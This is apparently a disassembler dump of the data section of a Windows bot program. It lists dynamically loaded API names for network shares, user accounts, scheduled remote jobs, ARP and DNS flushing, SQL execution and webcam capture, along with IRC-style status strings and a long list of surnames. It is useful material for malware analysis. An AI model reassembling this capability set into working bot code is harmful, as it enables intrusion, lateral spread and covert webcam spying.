aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409D10:loc_40A4EFo
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409D10+7F0o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409D10+7F8o
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409D10+805o
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409D10+812o
align 10h
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409D10+81Fo
align 4
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409D10+82Co
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409D10+839o
align 4
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409D10+846o
align 4
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409D10+853o
align 10h
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409D10+860o
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409D10+8D2o
align 10h
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409D10:loc_40A60Fo
align 4
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409D10+90Co
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409D10+914o
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409D10+921o
align 4
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409D10:loc_40A66Eo
align 4
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409D10+96Fo
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409D10+977o
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409D10+984o
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409D10+991o
align 4
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409D10+99Eo
align 4
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409D10+9ABo
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409D10+9B8o
align 4
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409D10+9C5o
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409D10+9D2o
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409D10+9DFo
align 10h
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409D10+9ECo
align 4
aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409D10+9F9o
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409D10:loc_40A78Ao
align 4
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409D10+A87o
align 4
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409D10+A8Fo
align 4
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409D10:loc_40A7D4o
align 4
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409D10+AD1o
align 4
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409D10+AD9o
align 10h
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409D10:loc_40A81Eo
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409D10+B1Bo
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409D10+B23o
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409D10+B30o
align 4
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409D10+B3Do
align 10h
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409D10:loc_40A892o
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409D10+B8Fo
align 4
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409D10+B97o
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409D10:loc_40A8DCo
align 4
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409D10+BD9o
align 4
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409D10+BE1o
align 4
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409D10+BEEo
align 4
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409D10+BFBo
align 4
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409D10+C08o
align 4
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409D10+C15o
align 4
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409D10:loc_40A97Ao
; _7:off_510BE8o
align 4
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409D10+C77o
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409D10+C7Fo
align 10h
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+28o
align 4
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+5Co
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+90o
align 10h
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+C4o
align 4
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+F8o
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+12Co
align 4
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+160o
align 4
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+194o
align 10h
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+1C8o
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+1FCo
align 4
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+230o
align 4
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+264o
align 4
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+298o
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A9CC+2CCo
align 4
unk_4441FC db 2Dh ; - ; DATA XREF: sub_40A9CC+2F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aDllTestComplet db 'DLL test complete.',0
align 4
a___1: ; DATA XREF: _0:0040AD2Co _0:0040AD44o
unicode 0, <..>
unk_444220 db 2Dh ; - ; DATA XREF: sub_40ADC9+43o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aErrorGettingAr db 'error getting ARP cache: %d',0
unk_44424C db 2Dh ; - ; DATA XREF: sub_40ADC9:loc_40AE22o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheIsEmpt db 'ARP cache is empty',0
align 10h
unk_444270 db 2Dh ; - ; DATA XREF: sub_40ADC9+8Co
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aErrorGetting_0 db 'error getting ARP cache: %d',0
unk_44429C db 2Dh ; - ; DATA XREF: sub_40ADC9:loc_40AE5Co
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aUnableToAlloca db 'unable to allocate ARP cache',0
align 4
unk_4442CC db 2Dh ; - ; DATA XREF: sub_40ADC9:loc_40AE8Eo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aNotSupportedBy db 'not supported by this system',0
align 4
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AEAD+46o
aReal db 'real',0 ; DATA XREF: sub_40B38F+Fr
align 10h
dd 0
dword_444314 dd 0 ; DATA XREF: sub_40B38F:loc_40B3B6r
off_444318 dd offset sub_40AFAB ; DATA XREF: sub_40B38F+4Ar
aConst db 'const',0
align 8
dd 1, 40B017h, 7474656Ch, 7265h, 0
dd 2, 40B075h, 706D6F63h, 2 dup(0)
dd 3, 40B0C2h, 6E756F63h, 797274h, 0
dd 4, 40B168h, 736Fh, 2 dup(0)
dd 5, 40B1DDh
aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: _2:off_446DB0o
align 4
aAckerman db 'Ackerman',0 ; DATA XREF: _2:00446DB4o
align 4
aAdams db 'Adams',0 ; DATA XREF: _2:00446DB8o
align 10h
aAddison db 'Addison',0 ; DATA XREF: _2:00446DBCo
aAdelstein db 'Adelstein',0 ; DATA XREF: _2:00446DC0o
align 4
aAdibe db 'Adibe',0 ; DATA XREF: _2:00446DC4o
align 4
aAdorno db 'Adorno',0 ; DATA XREF: _2:00446DC8o
align 4
aAhlers db 'Ahlers',0 ; DATA XREF: _2:00446DCCo
align 4
aAlavi db 'Alavi',0 ; DATA XREF: _2:00446DD0o
align 4
aAlcorn db 'Alcorn',0 ; DATA XREF: _2:00446DD4o
align 4
aAlda db 'Alda',0 ; DATA XREF: _2:00446DD8o
align 4
aAleks db 'Aleks',0 ; DATA XREF: _2:00446DDCo
align 4
aAllison db 'Allison',0 ; DATA XREF: _2:00446DE0o
aAlongi db 'Alongi',0 ; DATA XREF: _2:00446DE4o
align 4
aAltavilla db 'Altavilla',0 ; DATA XREF: _2:00446DE8o
align 4
aAltenberger db 'Altenberger',0 ; DATA XREF: _2:00446DECo
aAltenhofen db 'Altenhofen',0 ; DATA XREF: _2:00446DF0o
align 10h
aAmaral db 'Amaral',0 ; DATA XREF: _2:00446DF4o
align 4
aAmatangelo db 'Amatangelo',0 ; DATA XREF: _2:00446DF8o
align 4
aAmeer db 'Ameer',0 ; DATA XREF: _2:00446DFCo
align 4
aAmsden db 'Amsden',0 ; DATA XREF: _2:00446E00o
align 4
aAnand db 'Anand',0 ; DATA XREF: _2:00446E04o
align 4
aAndel db 'Andel',0 ; DATA XREF: _2:00446E08o
align 4
aAndo db 'Ando',0 ; DATA XREF: _2:00446E0Co
align 4
aAndrelus db 'Andrelus',0 ; DATA XREF: _2:00446E10o
align 4
aAndron db 'Andron',0 ; DATA XREF: _2:00446E14o
align 10h
aAnfinrud db 'Anfinrud',0 ; DATA XREF: _2:00446E18o
align 4
aAnsley db 'Ansley',0 ; DATA XREF: _2:00446E1Co
align 4
aAnthony db 'Anthony',0 ; DATA XREF: _2:00446E20o
aAntos db 'Antos',0 ; DATA XREF: _2:00446E24o
align 4
aArbia db 'Arbia',0 ; DATA XREF: _2:00446E28o
align 4
aArduini db 'Arduini',0 ; DATA XREF: _2:00446E2Co
aArellano db 'Arellano',0 ; DATA XREF: _2:00446E30o
align 10h
aAristotle db 'Aristotle',0 ; DATA XREF: _2:00446E34o
align 4
aArjas db 'Arjas',0 ; DATA XREF: _2:00446E38o
align 4
aArky db 'Arky',0 ; DATA XREF: _2:00446E3Co
align 4
aAtkins db 'Atkins',0 ; DATA XREF: _2:00446E40o
align 4
aAugustus db 'Augustus',0 ; DATA XREF: _2:00446E44o
align 10h
aAurelius db 'Aurelius',0 ; DATA XREF: _2:00446E48o
align 4
aAxelrod db 'Axelrod',0 ; DATA XREF: _2:00446E4Co
aAxworthy db 'Axworthy',0 ; DATA XREF: _2:00446E50o
align 10h
aAyiemba db 'Ayiemba',0 ; DATA XREF: _2:00446E54o
aAykroyd db 'Aykroyd',0 ; DATA XREF: _2:00446E58o
aAyling db 'Ayling',0 ; DATA XREF: _2:00446E5Co
align 4
aAzima db 'Azima',0 ; DATA XREF: _2:00446E60o
align 10h
aBachmuth db 'Bachmuth',0 ; DATA XREF: _2:00446E64o
align 4
aBackus db 'Backus',0 ; DATA XREF: _2:00446E68o
align 4
aBady db 'Bady',0 ; DATA XREF: _2:00446E6Co
align 4
aBaglivo db 'Baglivo',0 ; DATA XREF: _2:00446E70o
aBagnold db 'Bagnold',0 ; DATA XREF: _2:00446E74o
aBailar db 'Bailar',0 ; DATA XREF: _2:00446E78o
align 4
aBakanowsky db 'Bakanowsky',0 ; DATA XREF: _2:00446E7Co
align 10h
aBaleja db 'Baleja',0 ; DATA XREF: _2:00446E80o
align 4
aBallatori db 'Ballatori',0 ; DATA XREF: _2:00446E84o
align 4
aBallew db 'Ballew',0 ; DATA XREF: _2:00446E88o
align 4
aBaltz db 'Baltz',0 ; DATA XREF: _2:00446E8Co
align 4
aBanta db 'Banta',0 ; DATA XREF: _2:00446E90o
align 4
aBarabesi db 'Barabesi',0 ; DATA XREF: _2:00446E94o
align 4
aBarajas db 'Barajas',0 ; DATA XREF: _2:00446E98o
aBaranczak db 'Baranczak',0 ; DATA XREF: _2:00446E9Co
align 4
aBaranowska db 'Baranowska',0 ; DATA XREF: _2:00446EA0o
align 4
aBarberi db 'Barberi',0 ; DATA XREF: _2:00446EA4o
aBarbetti db 'Barbetti',0 ; DATA XREF: _2:00446EA8o
align 4
aBarneson db 'Barneson',0 ; DATA XREF: _2:00446EACo
align 4
aBarnett db 'Barnett',0 ; DATA XREF: _2:00446EB0o
aBarriola db 'Barriola',0 ; DATA XREF: _2:00446EB4o
align 4
aBarry db 'Barry',0 ; DATA XREF: _2:00446EB8o
align 4
aBartholomew db 'Bartholomew',0 ; DATA XREF: _2:00446EBCo
aBartolome db 'Bartolome',0 ; DATA XREF: _2:00446EC0o
align 4
aBartoo db 'Bartoo',0 ; DATA XREF: _2:00446EC4o
align 4
aBasavappa db 'Basavappa',0 ; DATA XREF: _2:00446EC8o
align 10h
aBashevis db 'Bashevis',0 ; DATA XREF: _2:00446ECCo
align 4
aBatchelder db 'Batchelder',0 ; DATA XREF: _2:00446ED0o
align 4
aBaumiller db 'Baumiller',0 ; DATA XREF: _2:00446ED4o
align 4
aBayles db 'Bayles',0 ; DATA XREF: _2:00446ED8o
align 4
aBayo db 'Bayo',0 ; DATA XREF: _2:00446EDCo
align 4
aBeacon db 'Beacon',0 ; DATA XREF: _2:00446EE0o
align 4
aBeal db 'Beal',0 ; DATA XREF: _2:00446EE4o
align 4
aBean db 'Bean',0 ; DATA XREF: _2:00446EE8o
align 4
aBeckman db 'Beckman',0 ; DATA XREF: _2:00446EECo
aBeder db 'Beder',0 ; DATA XREF: _2:00446EF0o
align 4
aBedford db 'Bedford',0 ; DATA XREF: _2:00446EF4o
aBehenna db 'Behenna',0 ; DATA XREF: _2:00446EF8o
aBelanger db 'Belanger',0 ; DATA XREF: _2:00446EFCo
align 4
aBelaoussof db 'Belaoussof',0 ; DATA XREF: _2:00446F00o
align 4
aBelfer db 'Belfer',0 ; DATA XREF: _2:00446F04o
align 4
aBelinCollart db 'Belin-Collart',0 ; DATA XREF: _2:00446F08o
align 4
aBellavance db 'Bellavance',0 ; DATA XREF: _2:00446F0Co
align 4
aBellhouse db 'Bellhouse',0 ; DATA XREF: _2:00446F10o
align 4
aBellini db 'Bellini',0 ; DATA XREF: _2:00446F14o
aBelloc db 'Belloc',0 ; DATA XREF: _2:00446F18o
align 4
aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: _2:00446F1Co
align 4
aBergson db 'Bergson',0 ; DATA XREF: _2:00446F20o
aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: _2:00446F24o
align 4
aBernardo db 'Bernardo',0 ; DATA XREF: _2:00446F28o
align 4
aBernassola db 'Bernassola',0 ; DATA XREF: _2:00446F2Co
align 4
aBernston db 'Bernston',0 ; DATA XREF: _2:00446F30o
align 10h
aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: _2:00446F34o
align 10h
aBetti db 'Betti',0 ; DATA XREF: _2:00446F38o
align 4
aBeynart db 'Beynart',0 ; DATA XREF: _2:00446F3Co
aBiagioli db 'Biagioli',0 ; DATA XREF: _2:00446F40o
align 4
aBickel db 'Bickel',0 ; DATA XREF: _2:00446F44o
align 4
aBinion db 'Binion',0 ; DATA XREF: _2:00446F48o
align 4
aBir db 'Bir',0 ; DATA XREF: _2:00446F4Co
aBisema db 'Bisema',0 ; DATA XREF: _2:00446F50o
align 4
aBisho db 'Bisho',0 ; DATA XREF: _2:00446F54o
align 10h
aBlackbourn db 'Blackbourn',0 ; DATA XREF: _2:00446F58o
align 4
aBlackwell db 'Blackwell',0 ; DATA XREF: _2:00446F5Co
align 4
aBlagg db 'Blagg',0 ; DATA XREF: _2:00446F60o
align 10h
aBlakemore db 'Blakemore',0 ; DATA XREF: _2:00446F64o
align 4
aBlanke db 'Blanke',0 ; DATA XREF: _2:00446F68o
align 4
aBliss db 'Bliss',0 ; DATA XREF: _2:00446F6Co
align 4
aBlizard db 'Blizard',0 ; DATA XREF: _2:00446F70o
aBloch db 'Bloch',0 ; DATA XREF: _2:00446F74o
align 4
aBloembergen db 'Bloembergen',0 ; DATA XREF: _2:00446F78o
aBloemhof db 'Bloemhof',0 ; DATA XREF: _2:00446F7Co
align 4
aBloxham db 'Bloxham',0 ; DATA XREF: _2:00446F80o
aBlyth db 'Blyth',0 ; DATA XREF: _2:00446F84o
align 4
aBolger db 'Bolger',0 ; DATA XREF: _2:00446F88o
align 4
aBolick db 'Bolick',0 ; DATA XREF: _2:00446F8Co
align 4
aBollinger db 'Bollinger',0 ; DATA XREF: _2:00446F90o
align 10h
aBologna db 'Bologna',0 ; DATA XREF: _2:00446F94o
aBoner db 'Boner',0 ; DATA XREF: _2:00446F98o
align 10h
aBonham db 'Bonham',0 ; DATA XREF: _2:00446F9Co
align 4
aBoniface db 'Boniface',0 ; DATA XREF: _2:00446FA0o
align 4
aBontempo db 'Bontempo',0 ; DATA XREF: _2:00446FA4o
align 10h
aBook db 'Book',0 ; DATA XREF: _2:00446FA8o
align 4
aBookbinder db 'Bookbinder',0 ; DATA XREF: _2:00446FACo
align 4
aBoone db 'Boone',0 ; DATA XREF: _2:00446FB0o
align 4
aBoorstin db 'Boorstin',0 ; DATA XREF: _2:00446FB4o
align 4
aBorack db 'Borack',0 ; DATA XREF: _2:00446FB8o
align 10h
aBorden db 'Borden',0 ; DATA XREF: _2:00446FBCo
align 4
aBossi db 'Bossi',0 ; DATA XREF: _2:00446FC0o
align 10h
aBothman db 'Bothman',0 ; DATA XREF: _2:00446FC4o
aBotosh db 'Botosh',0 ; DATA XREF: _2:00446FC8o
align 10h
aBoudin db 'Boudin',0 ; DATA XREF: _2:00446FCCo
align 4
aBoudrot db 'Boudrot',0 ; DATA XREF: _2:00446FD0o
aBourneuf db 'Bourneuf',0 ; DATA XREF: _2:00446FD4o
align 4
aBowers db 'Bowers',0 ; DATA XREF: _2:00446FD8o
align 4
aBoxer db 'Boxer',0 ; DATA XREF: _2:00446FDCo
align 4
aBoyajian db 'Boyajian',0 ; DATA XREF: _2:00446FE0o
align 4
aBoyes db 'Boyes',0 ; DATA XREF: _2:00446FE4o
align 10h
aBoyland db 'Boyland',0 ; DATA XREF: _2:00446FE8o
aBoym db 'Boym',0 ; DATA XREF: _2:00446FECo
align 10h
aBoyne db 'Boyne',0 ; DATA XREF: _2:00446FF0o
align 4
aBracalente db 'Bracalente',0 ; DATA XREF: _2:00446FF4o
align 4
aBradac db 'Bradac',0 ; DATA XREF: _2:00446FF8o
align 4
aBradach db 'Bradach',0 ; DATA XREF: _2:00446FFCo
aBrecht db 'Brecht',0 ; DATA XREF: _2:00447000o
align 4
aBreed db 'Breed',0 ; DATA XREF: _2:00447004o
align 4
aBrenan db 'Brenan',0 ; DATA XREF: _2:00447008o
align 4
aBrennan db 'Brennan',0 ; DATA XREF: _2:0044700Co
aBrewer db 'Brewer',0 ; DATA XREF: _2:00447010o
align 4
aBrewer_0 db 'Brewer',0 ; DATA XREF: _2:00447014o
align 4
aBridgeman db 'Bridgeman',0 ; DATA XREF: _2:00447018o
align 10h
aBridges db 'Bridges',0 ; DATA XREF: _2:0044701Co
aBrinton db 'Brinton',0 ; DATA XREF: _2:00447020o
aBritz db 'Britz',0 ; DATA XREF: _2:00447024o
align 4
aBroca db 'Broca',0 ; DATA XREF: _2:00447028o
align 10h
aBrook db 'Brook',0 ; DATA XREF: _2:0044702Co
align 4
aBrzycki db 'Brzycki',0 ; DATA XREF: _2:00447030o
aBuchan db 'Buchan',0 ; DATA XREF: _2:00447034o
align 4
aBudding db 'Budding',0 ; DATA XREF: _2:00447038o
aBullard db 'Bullard',0 ; DATA XREF: _2:0044703Co
aBunton db 'Bunton',0 ; DATA XREF: _2:00447040o
align 10h
aBurden db 'Burden',0 ; DATA XREF: _2:00447044o
align 4
aBurdzy db 'Burdzy',0 ; DATA XREF: _2:00447048o
align 10h
aBurke db 'Burke',0 ; DATA XREF: _2:0044704Co
align 4
aBurridge db 'Burridge',0 ; DATA XREF: _2:00447050o
align 4
aBusetta db 'Busetta',0 ; DATA XREF: _2:00447054o
aByatt db 'Byatt',0 ; DATA XREF: _2:00447058o
align 4
aByerly db 'Byerly',0 ; DATA XREF: _2:0044705Co
align 4
aByrd db 'Byrd',0 ; DATA XREF: _2:00447060o
align 4
aCage db 'Cage',0 ; DATA XREF: _2:00447064o
align 4
aCalnan db 'Calnan',0 ; DATA XREF: _2:00447068o
align 4
aCammelli db 'Cammelli',0 ; DATA XREF: _2:0044706Co
align 10h
aCammilleri db 'Cammilleri',0 ; DATA XREF: _2:00447070o
align 4
aCanley db 'Canley',0 ; DATA XREF: _2:00447074o
align 4
aCapanni db 'Capanni',0 ; DATA XREF: _2:00447078o
aCaperton db 'Caperton',0 ; DATA XREF: _2:0044707Co
align 4
aCapocaccia db 'Capocaccia',0 ; DATA XREF: _2:00447080o
align 4
aCapodilupo db 'Capodilupo',0 ; DATA XREF: _2:00447084o
align 10h
aCappuccio db 'Cappuccio',0 ; DATA XREF: _2:00447088o
align 4
aCapursi db 'Capursi',0 ; DATA XREF: _2:0044708Co
aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: _2:00447090o
aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: _2:00447094o
aCarlin db 'Carlin',0 ; DATA XREF: _2:00447098o
align 4
aCarlos db 'Carlos',0 ; DATA XREF: _2:0044709Co
align 10h
aCarlyle db 'Carlyle',0 ; DATA XREF: _2:004470A0o
aCarmichael db 'Carmichael',0 ; DATA XREF: _2:004470A4o
align 4
aCaroti db 'Caroti',0 ; DATA XREF: _2:004470A8o
align 4
aCarper db 'Carper',0 ; DATA XREF: _2:004470ACo
align 4
aCartmill db 'Cartmill',0 ; DATA XREF: _2:004470B0o
align 10h
aCascio db 'Cascio',0 ; DATA XREF: _2:004470B4o
align 4
aCase db 'Case',0 ; DATA XREF: _2:004470B8o
align 10h
aCaspar db 'Caspar',0 ; DATA XREF: _2:004470BCo
align 4
aCastelda db 'Castelda',0 ; DATA XREF: _2:004470C0o
align 4
aCavanagh db 'Cavanagh',0 ; DATA XREF: _2:004470C4o
align 10h
aCavell db 'Cavell',0 ; DATA XREF: _2:004470C8o
align 4
aCeniceros db 'Ceniceros',0 ; DATA XREF: _2:004470CCo
align 4
aCerioli db 'Cerioli',0 ; DATA XREF: _2:004470D0o
aChapman db 'Chapman',0 ; DATA XREF: _2:004470D4o
aCharles db 'Charles',0 ; DATA XREF: _2:004470D8o
aCheang db 'Cheang',0 ; DATA XREF: _2:004470DCo
align 4
aCherry db 'Cherry',0 ; DATA XREF: _2:004470E0o
align 4
aChervinsky db 'Chervinsky',0 ; DATA XREF: _2:004470E4o
align 4
aChiassino db 'Chiassino',0 ; DATA XREF: _2:004470E8o
align 4
aChien db 'Chien',0 ; DATA XREF: _2:004470ECo
align 4
aChildress db 'Childress',0 ; DATA XREF: _2:004470F0o
align 4
aChilds db 'Childs',0 ; DATA XREF: _2:004470F4o
align 10h
aChinipardaz db 'Chinipardaz',0 ; DATA XREF: _2:004470F8o
aChinman db 'Chinman',0 ; DATA XREF: _2:004470FCo
aChristenson db 'Christenson',0 ; DATA XREF: _2:00447100o
aChristian db 'Christian',0 ; DATA XREF: _2:00447104o
align 4
aChristiano db 'Christiano',0 ; DATA XREF: _2:00447108o
align 4
aChristie db 'Christie',0 ; DATA XREF: _2:0044710Co
align 4
aChristopher db 'Christopher',0 ; DATA XREF: _2:00447110o
aChu db 'Chu',0 ; DATA XREF: _2:00447114o
aChupasko db 'Chupasko',0 ; DATA XREF: _2:00447118o
align 10h
aChurch db 'Church',0 ; DATA XREF: _2:0044711Co
align 4
aCiampaglia db 'Ciampaglia',0 ; DATA XREF: _2:00447120o
align 4
aCicero db 'Cicero',0 ; DATA XREF: _2:00447124o
align 4
aCifarelli db 'Cifarelli',0 ; DATA XREF: _2:00447128o
align 4
aClaffey db 'Claffey',0 ; DATA XREF: _2:0044712Co
aClancy db 'Clancy',0 ; DATA XREF: _2:00447130o
align 4
aClark db 'Clark',0 ; DATA XREF: _2:00447134o
align 10h
aClement db 'Clement',0 ; DATA XREF: _2:00447138o
aClifton db 'Clifton',0 ; DATA XREF: _2:0044713Co
aClow db 'Clow',0 ; DATA XREF: _2:00447140o
align 4
aCoblenz db 'Coblenz',0 ; DATA XREF: _2:00447144o
aCoito db 'Coito',0 ; DATA XREF: _2:00447148o
align 4
aColdren db 'Coldren',0 ; DATA XREF: _2:0044714Co
aColella db 'Colella',0 ; DATA XREF: _2:00447150o
aCollard db 'Collard',0 ; DATA XREF: _2:00447154o
aCollis db 'Collis',0 ; DATA XREF: _2:00447158o
align 4
aCompton db 'Compton',0 ; DATA XREF: _2:0044715Co
aCompton_0 db 'Compton',0 ; DATA XREF: _2:00447160o
aComstock db 'Comstock',0 ; DATA XREF: _2:00447164o
align 4
aConcino db 'Concino',0 ; DATA XREF: _2:00447168o
aCondodina db 'Condodina',0 ; DATA XREF: _2:0044716Co
align 4
aConnors db 'Connors',0 ; DATA XREF: _2:00447170o
aCorey db 'Corey',0 ; DATA XREF: _2:00447174o
align 4
aCornish db 'Cornish',0 ; DATA XREF: _2:00447178o
aCosmides db 'Cosmides',0 ; DATA XREF: _2:0044717Co
align 4
aCounter db 'Counter',0 ; DATA XREF: _2:00447180o
aCoutaux db 'Coutaux',0 ; DATA XREF: _2:00447184o
aCrawford db 'Crawford',0 ; DATA XREF: _2:00447188o
align 4
aCrocker db 'Crocker',0 ; DATA XREF: _2:0044718Co
aCroshaw db 'Croshaw',0 ; DATA XREF: _2:00447190o
aCroxen db 'Croxen',0 ; DATA XREF: _2:00447194o
align 10h
aCroxton db 'Croxton',0 ; DATA XREF: _2:00447198o
aCui db 'Cui',0 ; DATA XREF: _2:0044719Co
aCurrier db 'Currier',0 ; DATA XREF: _2:004471A0o
aCutler db 'Cutler',0 ; DATA XREF: _2:004471A4o
align 4
aCvek db 'Cvek',0 ; DATA XREF: _2:004471A8o
align 4
aCyders db 'Cyders',0 ; DATA XREF: _2:004471ACo
align 4
aDasilva db 'daSilva',0 ; DATA XREF: _2:004471B0o
aDaldalian db 'Daldalian',0 ; DATA XREF: _2:004471B4o
align 10h
aDaly db 'Daly',0 ; DATA XREF: _2:004471B8o
align 4
aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: _2:004471BCo
aDanieli db 'Danieli',0 ; DATA XREF: _2:004471C0o
aDante db 'Dante',0 ; DATA XREF: _2:004471C4o
align 10h
aDapice db 'Dapice',0 ; DATA XREF: _2:004471C8o
align 4
aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: _2:004471CCo
aDas db 'Das',0 ; DATA XREF: _2:004471D0o
aDasgupta db 'Dasgupta',0 ; DATA XREF: _2:004471D4o
align 4
aDaskalu db 'Daskalu',0 ; DATA XREF: _2:004471D8o
aDavid db 'David',0 ; DATA XREF: _2:004471DCo
align 4
aDawkins db 'Dawkins',0 ; DATA XREF: _2:004471E0o
aDegennaro db 'DeGennaro',0 ; DATA XREF: _2:004471E4o
align 4
aDelapena db 'DeLaPena',0 ; DATA XREF: _2:004471E8o
align 4
aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: _2:004471ECo
align 10h
aDerousse db 'deRousse',0 ; DATA XREF: _2:004471F0o
align 4
aDebroff db 'Debroff',0 ; DATA XREF: _2:004471F4o
aDees db 'Dees',0 ; DATA XREF: _2:004471F8o
align 4
aDefeciani db 'Defeciani',0 ; DATA XREF: _2:004471FCo
align 4
aDelattre db 'Delattre',0 ; DATA XREF: _2:00447200o
align 4
aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: _2:00447204o
align 4
aDelger db 'Delger',0 ; DATA XREF: _2:00447208o
align 4
aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: _2:0044720Co
align 4
aDeming db 'Deming',0 ; DATA XREF: _2:00447210o
align 10h
aDempster db 'Dempster',0 ; DATA XREF: _2:00447214o
align 4
aDemusz db 'Demusz',0 ; DATA XREF: _2:00447218o
align 4
aDenault db 'Denault',0 ; DATA XREF: _2:0044721Co
aDenham db 'Denham',0 ; DATA XREF: _2:00447220o
align 4
aDenison db 'Denison',0 ; DATA XREF: _2:00447224o
aDesombre db 'Desombre',0 ; DATA XREF: _2:00447228o
align 4
aDeutsch db 'Deutsch',0 ; DATA XREF: _2:0044722Co
